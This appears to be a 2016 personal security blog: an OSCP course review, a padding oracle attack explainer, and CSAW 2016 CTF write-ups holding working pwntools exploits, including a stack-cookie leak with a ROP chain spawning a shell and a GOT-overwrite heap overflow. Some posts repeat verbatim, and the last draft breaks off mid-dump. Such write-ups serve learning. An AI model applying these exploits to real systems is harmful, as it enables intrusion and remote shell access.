Friday, 9 December 2016
Stacks? what are they and how to smash them
I made a thing on how to smash the stack.
For the one and only, seminal hacker paper see Smashing the stack for fun and profit by aleph one http://insecure.org/stf/smashstack.html
Stacks? what are they and how to smash them
I made a thing on how to smash the stack.
For the one and only, seminal hacker paper see Smashing the stack for fun and profit by aleph one http://insecure.org/stf/smashstack.html
Tuesday, 8 November 2016
OSCP maybe not for me?
I've been doing the OSCP course: 'Pentesting with Kali linux' for the last 80 days (the end is near).
Background:
I've got a solid interest in binary exploitation and breaking things, I really enjoy a good challenge. The first time I defeated ASLR and NX it took me literally 5 days of nothing but eating sleeping and staring at gdb-peda. I loved that, I loved the challenge and the journey.
What I think of the OSCP:
When I started the OSCP I thought it would be the same, and for a lot of people it is exactly that.
But nooooope
I found it extremely tedious. The material they give you is like glorified man pages. Useful, but not really.
The value is in the lab. A bunch of boxes with a bunch of vulns.
Before continuing I want to make how I feel about the OSCP very clear. It's a 7/10, pretty good, but room for improvement.
It's taught upside down
The way the material is presented is like "If you do X,Y,Z that tells you A,B,C and you can use that to do D,E,F" where X,Y,Z are specific tools or commands.
Learning this way fells like aimlessly meandering through a forrest gathering anything that looks useful.
INSTEAD, it should be taught in a more goal centric way.
Take the recon stage for example, analyse what it is you're looking for. Think of the weaknesses from a higher level such as "Exposed services", "bits that only other computers can see" and the sort of information that will be useful. Then, outline how that can be done and finally, provide some example tools that help accomplish that task.
The material is also uncorrelated with the lab. I think there should be more guidance available for completing the labs. I think pentesterlabs does a really good job at this.
I think the OSCP works really well for a lot of people but not me. I think the lab is a great start but the educational material is rubbish.
I don't think an educational service should have a motto like 'try harder'. I think the value of the OSCP is mostly in the certificate, which is not reflected in the price. I think the course is a lot of money (unless your company is paying).
If you're a computer science person working at a company and want to move to a security job and you're company is going to pay for the OSCP then 100% yep this is for you, I would definitely recommend.
If you're a college student, I wouldn't recommend doing the OSCP until you've done all the wargames, CTF's, and vulnerable vm's that are online for free.
If, like me, you love binary exploitation and want to learn some pen test skills, learn how to metasploit first. This is not a course about binary exploitation, it is covered, but only a little. Don't expect to spend time in gdb.
I would recommend doing the course at the same time as some friends. I often got stuck and not in the 'try harder' kinda way, stuck in the bored kinda way.
I've got the exam coming up and I don't expect to pass the first time.
There's my 2 cents on the OSCP
Background:
I've got a solid interest in binary exploitation and breaking things, I really enjoy a good challenge. The first time I defeated ASLR and NX it took me literally 5 days of nothing but eating sleeping and staring at gdb-peda. I loved that, I loved the challenge and the journey.
What I think of the OSCP:
When I started the OSCP I thought it would be the same, and for a lot of people it is exactly that.
But nooooope
I found it extremely tedious. The material they give you is like glorified man pages. Useful, but not really.
The value is in the lab. A bunch of boxes with a bunch of vulns.
Before continuing I want to make how I feel about the OSCP very clear. It's a 7/10, pretty good, but room for improvement.
It's taught upside down
The way the material is presented is like "If you do X,Y,Z that tells you A,B,C and you can use that to do D,E,F" where X,Y,Z are specific tools or commands.
Learning this way fells like aimlessly meandering through a forrest gathering anything that looks useful.
INSTEAD, it should be taught in a more goal centric way.
Take the recon stage for example, analyse what it is you're looking for. Think of the weaknesses from a higher level such as "Exposed services", "bits that only other computers can see" and the sort of information that will be useful. Then, outline how that can be done and finally, provide some example tools that help accomplish that task.
The material is also uncorrelated with the lab. I think there should be more guidance available for completing the labs. I think pentesterlabs does a really good job at this.
I think the OSCP works really well for a lot of people but not me. I think the lab is a great start but the educational material is rubbish.
I don't think an educational service should have a motto like 'try harder'. I think the value of the OSCP is mostly in the certificate, which is not reflected in the price. I think the course is a lot of money (unless your company is paying).
If you're a computer science person working at a company and want to move to a security job and you're company is going to pay for the OSCP then 100% yep this is for you, I would definitely recommend.
If you're a college student, I wouldn't recommend doing the OSCP until you've done all the wargames, CTF's, and vulnerable vm's that are online for free.
If, like me, you love binary exploitation and want to learn some pen test skills, learn how to metasploit first. This is not a course about binary exploitation, it is covered, but only a little. Don't expect to spend time in gdb.
I would recommend doing the course at the same time as some friends. I often got stuck and not in the 'try harder' kinda way, stuck in the bored kinda way.
I've got the exam coming up and I don't expect to pass the first time.
There's my 2 cents on the OSCP
Thursday, 6 October 2016
Breaking computers: Padding Oracle Attack
Attacking modern cyrptography
Watch the animated video here: Animated Explanation
Encryption lets you convert a message into a cipher using a key
so that only someone with the same key can convert it back
even the smallest change in input massively changes the output cipher
and thanks to maths it's unbreakable (for now... maybe *cough cough* NSA)
but you are limited to how much you can encrypt, usually only 8 or 16 bytes at a time
which means it needs to be used as part of a larger system
system
ˈsɪstəm/
noun
- 1.a set of things working together as parts of a mechanism or an interconnecting network; a complex whole."the state railway system"
synonyms: structure, organization, order, arrangement, complex, apparatus,network; More
which by definition makes it more complex, and unfortunately, all it takes is a tiny leak to completely destroy a crypto system
What if we encode each block separately?
This is equivalent to encoding every letter in a sentence
Guvf vf rdhvinyrag gb rapbqvat rirel yrggre va n fragrapr
Or every pixel in an image
Cipher block chaining
where ECB is glorified rot13
CBC is a glorified enigma machine
The idea is simple, mix the output with more input to create more randomness in the result
Less fuzzy penguins but more complexity
it's used everywhere, especially places it shouldn't be
encrypt the first block
xor that with the next block and encrypt that
xor that with the next block and encrypt that
where xor just means magic computer addition (google it)
to decrypt, just do every step in reverse
notice that when we encrypt we have to go one after another
so that every input block will impact the rest of the cipher
but when we decrypt we can do the whole thing in parallel
how much of the cipher text do you need to recover any given block of input?
ideally, if you changed any of the cipher, the entire decryption should be broken
but!
turns out each plaintext block is only dependant on 2 cipher blocks
so what happens if we start changing some of the cipher blocks?
Incrementing the last digit of the middle cipher block only ruins the previous block's decryption |
remember how xor is just very-simple-computer-addition
this means we can very precisely change part of the decryption
and the previous block is the only thing that gets completely ruined
which you can abuse in certain situations to have no effect anyway
is this algorithm totally broken?
is everything insecure?
yeah kinda,
Demo Time
say this was being used on a website, where you want to save someone's login details in a cookie so that they don't have to log in constantly (hint, this is a BAD IDEA)but you don't want them changing things like their permissions
so you encrypt it with a key that's only on the server on the other side of the internet (seems legit, right?)
something like this
{
"name" : "mr joe",
"thought of the day" : "cyber cyber cyber cyber cyber",
"admin" : 0
}
think about how the last couple of blocks will be encrypted
[yber cyber cyber] [","admin" : 0 ]
if we flip the bit corresponding to the admin flag then the previous block will be ruined but it doesn't really matter.
{
"name" : "mr joe",
"thought of the day" : "cyber cyber c????????????????",
"admin" : 1
}
hahah!
mr joe was able to adjust his 'thought of the day' so that when the admin bit was flipped it had no impact on how the data would be used.
Even without any technical faults, we can already do a lot of damage
lets have a look at just how devastating it can get if you have even the tiniest leak
Padding Oracle Time
When you encrypt a block it has to fit the block size, and if it's too small you need to pad it outand you need to be able to remove the padding once you decode the message
the standard way is to use the amount you need to pad as the padding.
if a service gives you an error when it recieves an incorrectly padded message, it's game over for the service.
We can now encrypt and decrypt anything without ever knowing the key.
To decode the message block D7FF we cycle through all the values of the last digit in the previous block until we get a valid padding
which we know must be ???1 becasue it was padded correctly
Side Note:
It could also have been a 2 if the second last digit was a 2, or 33, 444 etc. Just starting again with a different second digit
End Side Note
Using that we can get a 2 in the last position of the decrypted block and now we can find the next digit
Using that, we can get 3's in the last 2 positions of the decrypted block and now we can find the second digit
Using that, we can get 4's in the last 3 positions of the decrypted block and now we can find the first digit
Then we know the entire intermediate block pre encryption
so all we have to do is xor it with the original cipher block
and we'll have decoded that block of cipher text.
Monday, 19 September 2016
CSAW 2016 Warmup pwn 50
#!/usr/bin/python
from pwn import * with open('payload', 'w') as f: f.write('') # usefull little stub for writing payload to file as you hack def send(conn, line): print line conn.sendline(line) with open('payload', 'a') as f: line += '\x0a' # fuck you :) f.write(line) conn = remote("pwn.chal.csaw.io",8000) print conn.recvuntil("WOW:") addr = conn.recvuntil("\n") send(conn,"AAAA"*18 + p64(0x40060d)) conn.interactive()
Sunday, 18 September 2016
CSAW 2016 Tutorial pwn 200 (Draft)
thinking.txt FIrst neeed to make a local user called tutorial with home dir run binary and connect on localhost what is getpwnam? -Tutorial- 1.Manual 2.Practice 3.Quit >1 Reference:0x7ffff7898490 -Tutorial- 1.Manual 2.Practice 3.Quit >2 buffer overflow in 2.Practice gdb-peda$ x/100wx 0x7fffffffe0e0 0x7fffffffe0e0: 0x41414141 0x0000000a 0x00000000 0x00000000 0x7fffffffe0f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe100: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe110: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe120: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe130: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe140: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe150: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe160: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe180: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe190: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe210: 0x00000000 0x00000000 0xa9acfd00 0x4042b240 <cookie 0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 <read up to first chunk 0x7fffffffe230: 0x00000003 0x00000000 0x00401401 0x00000004 0x7fffffffe240: 0xf7fd0a32 0x00007fff 0xf7bd4e00 0x00007fff 0x7fffffffe250: 0xffffe2c0 0x00007fff 0x00401257 0x00000000 0x7fffffffe260: 0xffffe3a8 0x00007fff 0xf7ff79b0 0x00000002 gdb-peda$ i f Stack level 0, frame at 0x7fffffffe230: rip = 0x400f70 in func2; saved rip = 0x401053 called by frame at 0x7fffffffe260 Arglist at 0x7fffffffe220, args: Locals at 0x7fffffffe220, Previous frame's sp is 0x7fffffffe230 Saved registers: rbp at 0x7fffffffe220, rip at 0x7fffffffe228 gdb-peda$ distance 0x7fffffffe0e0 0x7fffffffe228 From 0x7fffffffe0e0 to 0x7fffffffe228: 328 bytes, 82 dwords 328 A's then eip stack cookies! This is what 'reference' is v1 = dlsym((void *)0xFFFFFFFF, "puts"); write(a1, "Reference:", 0xAuLL); sprintf(&s, "%p\n", (char *)v1 - 1280); write(a1, &s, 0xFuLL); address of puts? ok then write(a1, ">", 1uLL); read(a1, &s, 460uLL); write(a1, &s, 324uLL); /lib/x86_64-linux-gnu/libc-2.19.so it reads out the stack cookie to me! yay 0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe210: 0x00000000 0x00000000 0xa9acfd00 0x4042b240 <cookie 0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 <read up to first chunk 0x7fffffffe230: 0x00000003 0x00000000 0x00401401 0x00000004 so send 312 many 'A's that will put it just up against the stack cookie then I will read it then I will do it again but sub the cookie in + eip 0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff 0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000 0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff 0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000 0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000 0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff 0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f54 0x00000000 0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004 0x7fffffffe0e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe100: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe110: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe120: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe130: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe140: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe150: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe160: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe180: 0x00000000 0x00000000 0x00000000 0x00000000 gdb-peda$ 0x7fffffffe190: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe1f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x41414141 0x7fffffffe210: 0x41414141 0x0a3a3a3a 0x64605000 0xdc70460a 0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 0x7fffffffe230: 0x00000000 0x00000000 0x00401401 0x00000004 0x7fffffffe240: 0xffff0a32 0x00007fff 0xf7bd4e00 0x00007fff 0x7fffffffe250: 0xffffe2c0 0x00007fff 0x00401257 0x00000000 0x7fffffffe260: 0xffffe3a8 0x00007fff 0xf7ff79b0 0x00000002 0x7fffffffe270: 0xf7ffe1a8 0x00000000 0x00000000 0x00000010 0x7fffffffe280: 0x00000003 0x00000004 0x00000000 0x00000000 0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000 0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000 0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992 0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff 0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000 after gdb-peda$ x/100wx 0x7fffffffe000 0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff 0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000 0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff 0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000 0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000 0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff 0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f70 0x00000000 0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004 0x7fffffffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe100: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe180: 0x41414141 0x41414141 0x41414141 0x41414141 gdb-peda$ 0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe210: 0x41414141 0x3a3a3a3a 0x64605000 0xdc70460a 0x7fffffffe220: 0xffffe250 0x00007fff 0xf7898990 0x00007fff 0x7fffffffe230: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe240: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe250: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe260: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe270: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe280: 0x0000000a 0x00000004 0x00000000 0x00000000 0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000 0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000 0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992 0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff 0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000 on ret gdb-peda$ x/100wx 0x7fffffffe000 0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff 0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000 0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff 0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000 0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000 0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff 0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f8c 0x00000000 0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004 0x7fffffffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe100: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe180: 0x41414141 0x41414141 0x41414141 0x41414141 gdb-peda$ 0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe210: 0x41414141 0x3a3a3a3a 0x64605000 0xdc70460a 0x7fffffffe220: 0xffffe250 0x00007fff 0xf7898990 0x00007fff 0x7fffffffe230: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe240: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe250: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe260: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe270: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff 0x7fffffffe280: 0x0000000a 0x00000004 0x00000000 0x00000000 0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000 0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000 0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992 0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff 0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000 So what was happening was that puts was pushing rbx onto the stack and calling strcpy which then segfaulted I figgure I need to put &/bin/sh into ebx # 0x004012e1 : (5e415fc3) pop rsi; pop r15; ret # 0x00400d49 : (01f3c3) add ebx,esi; ret this will accomplish this nope nope nope lets go strait to system so we need to set # rdi rsi to call system put addr of /bin/sh in rdi call system tried that pops shell locally ... on the server side need to dup dup dup dup = 0x7ffff7909460 - 0x7ffff7898490 + int(ref,16) use same leak trick hope it works XD rdi already has the file descriptor so that's helpfull :) dup2(old,new) need to dup2(fd,0) dup2(fd,1) dup2(fd,2) k so I can pop a shell locally fuk I'm like so close I need to find /bin/sh on the box puts 0x7f620ea3a990 binsh 0x7f620eb329a0 puts - binsh = 0xf8010 in the lib c puts 0x06b990 binsh_l 0x01639a0#!/usr/bin/python import sys from pwn import * with open('payload', 'w') as f: f.write('') def send(conn, line): print line conn.sendline(line) with open('payload', 'a') as f: line += '\x0a' # fuck you :) f.write(line) # conn = remote("pwn.chal.csaw.io",8002) conn = remote("localhost", int(sys.argv[1])) print conn.recvuntil(">") send(conn, "1") print conn.recvuntil("Reference:") ref = conn.recvuntil("\n") print ref print conn.recvuntil(">") send(conn, "2") # raw_input("continue?") send(conn, "A"*(312-4)+":::") print conn.recvuntil(":::") cookie = conn.recvuntil("-Tutorial-")[:-len("-Tutorial-")].lstrip()[:-4] print cookie print cookie.encode('hex') print hex(u64(cookie)) print conn.recvuntil(">") #0x400eef: dec ecx; ret misc_rop = p64(0x400eef) # [heap] : 0x603035 --> 0x68732f6e69622f ('/bin/sh') # libc : 0x7ffff79909a0 --> 0x68732f6e69622f ('/bin/sh') # 0x7ffff7898490 ref puts_libc = int(ref,16)+1280 puts = p64(puts_libc) # b = 0x7ffff79909a0 - 0x7ffff7898490 + int(ref,16) # addr_binsh = p64(b) # dup2 = p64(0x7ffff7909490 - 0x7ffff7898490 + int(ref,16)) # system = p64(0x7ffff786e490- 0x7ffff7898490 + int(ref,16)) # puts 000000000006fd60 # system 0000000000046590 # dup2 00000000000ebe90 sysMputs = 0x46590 - 0x6fd60 dupMputs = 0xebe90 - 0x6fd60 system = p64(puts_libc + sysMputs) dup2 = p64(puts_libc + dupMputs) addr_binsh = p64(0x603035) ebp = p64(0x00007fffffffe250) # # null # null = p64(0x400007) # 0x004012e1 : (5e415fc3) pop rsi; pop r15; ret # 0x00400d49 : (01f3c3) add ebx,esi; ret rop_pop_rsi_pop = p64(0x004012e1) rop_add_ebx_esi = p64(0x00400d49) #0x4012dc: pop r12; pop r13; pop r14; pop r15; ret #0x4012e3: pop rdi; ret pop_rdi = p64(0x4012e3) pops = p64(0x4012dc) print ref # rdi rsi # rdi is already the fd for socket :) yay send(conn, "2") payload = "A"*(312-4)+"::::" + cookie + ebp # dup2(fd, stdin) payload += rop_pop_rsi_pop + p64(0) + "A"*8 + dup2 payload += rop_pop_rsi_pop + p64(1) + "A"*8 + dup2 payload += rop_pop_rsi_pop + p64(2) + "A"*8 + dup2 payload += pop_rdi + addr_binsh + system send(conn, payload) send(conn, "ls -la") conn.interactive()FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
CSAW 2016 Hungman pwn 300 (Draft)
Braindump 0x603000: 0x00000000 0x00000000 0x00000031 0x00000000 0x603010: 0x41414141 0x41414141 0x41414141 0x41414141 0x603020: 0x41414141 0x41414141 0x41414141 0x41414141 0x603030: 0x00000000 0x00000000 0x00000091 0x00000000 0x603040: 0x00000000 0x00000021 0x00603010 0x00000000 0x603050: 0x00000000 0x00000000 0x00000000 0x00000000 0x603060: 0x00000000 0x00000000 0x00000000 0x00000000 0x603070: 0x00000000 0x00000000 0x00000000 0x00000000 0x603080: 0x00000000 0x00000000 0x00000000 0x00000000 0x603090: 0x00000000 0x00000000 0x00000000 0x00000000 0x6030a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6030b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6030c0: 0x00000000 0x00000000 0x00000031 0x00000000 0x6030d0: 0x68697970 0x67786566 0x22a5a375 0x4dd7ace5 0x6030e0: 0xc52aad30 0xc29e10c0 0x5a6280c6 0x7e17919e 0x6030f0: 0x000000fc 0x00000000 0x00020f11 0x00000000 0x603100: 0x00000000 0x00000000 0x00000000 0x00000000 0x603110: 0x00000000 0x00000000 0x00000000 0x00000000 0x603120: 0x00000000 0x00000000 0x00000000 0x00000000 0x603130: 0x00000000 0x00000000 0x00000000 0x00000000 0x603140: 0x00000000 0x00000000 0x00000000 0x00000000 0x603150: 0x00000000 0x00000000 0x00000000 0x00000000 0x603160: 0x00000000 0x00000000 0x00000000 0x00000000 0x603170: 0x00000000 0x00000000 0x00000000 0x00000000 0x603180: 0x00000000 0x00000000 0x00000000 0x00000000 0x603190: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000031 == ?? k so it's a heap overflow struct map of correct stuff I can overflow K so the game plan is to overflow our pointer to got free then we read our name gettign the address of free in libc then we write system to free don't forget to make the start of our name /bin/sh; gdb-peda$ x/128wx 0x1fea000 0x1fea000: 0x00000000 0x00000000 0x00000031 0x00000000 0x1fea010: 0x42424242 0x42424242 0x42424242 0x42424242 0x1fea020: 0x42424242 0x42424242 0x42424242 0x42424242 0x1fea030: 0x00000000 0x00000000 0x00000091 0x00000000 0x1fea040: 0x00000058 0x00000020 0x01fea010 0x00000000 score ^ nameptr ^ change name to "B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + <addr_free> 0000000000602018 R_X86_64_JUMP_SLOT free <--- woo 0000000000602020 R_X86_64_JUMP_SLOT puts 0000000000602028 R_X86_64_JUMP_SLOT write 0000000000602030 R_X86_64_JUMP_SLOT __stack_chk_fail 0000000000602038 R_X86_64_JUMP_SLOT strchr 0000000000602040 R_X86_64_JUMP_SLOT printf 0000000000602048 R_X86_64_JUMP_SLOT snprintf 0000000000602050 R_X86_64_JUMP_SLOT memset 0000000000602058 R_X86_64_JUMP_SLOT close 0000000000602060 R_X86_64_JUMP_SLOT read 0000000000602068 R_X86_64_JUMP_SLOT __libc_start_main 0000000000602070 R_X86_64_JUMP_SLOT __gmon_start__ 0000000000602078 R_X86_64_JUMP_SLOT memcpy 0000000000602080 R_X86_64_JUMP_SLOT malloc 0000000000602088 R_X86_64_JUMP_SLOT setvbuf 0000000000602090 R_X86_64_JUMP_SLOT open 0000000000602098 R_X86_64_JUMP_SLOT __isoc99_scanf 00000000006020a0 R_X86_64_JUMP_SLOT exit play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + p64(free_got)) 0x1995000: 0x00000000 0x00000000 0x00000031 0x00000000 0x1995010: 0x42424242 0x42424242 0x42424242 0x42424242 0x1995020: 0x42424242 0x42424242 0x42424242 0x42424242 0x1995030: 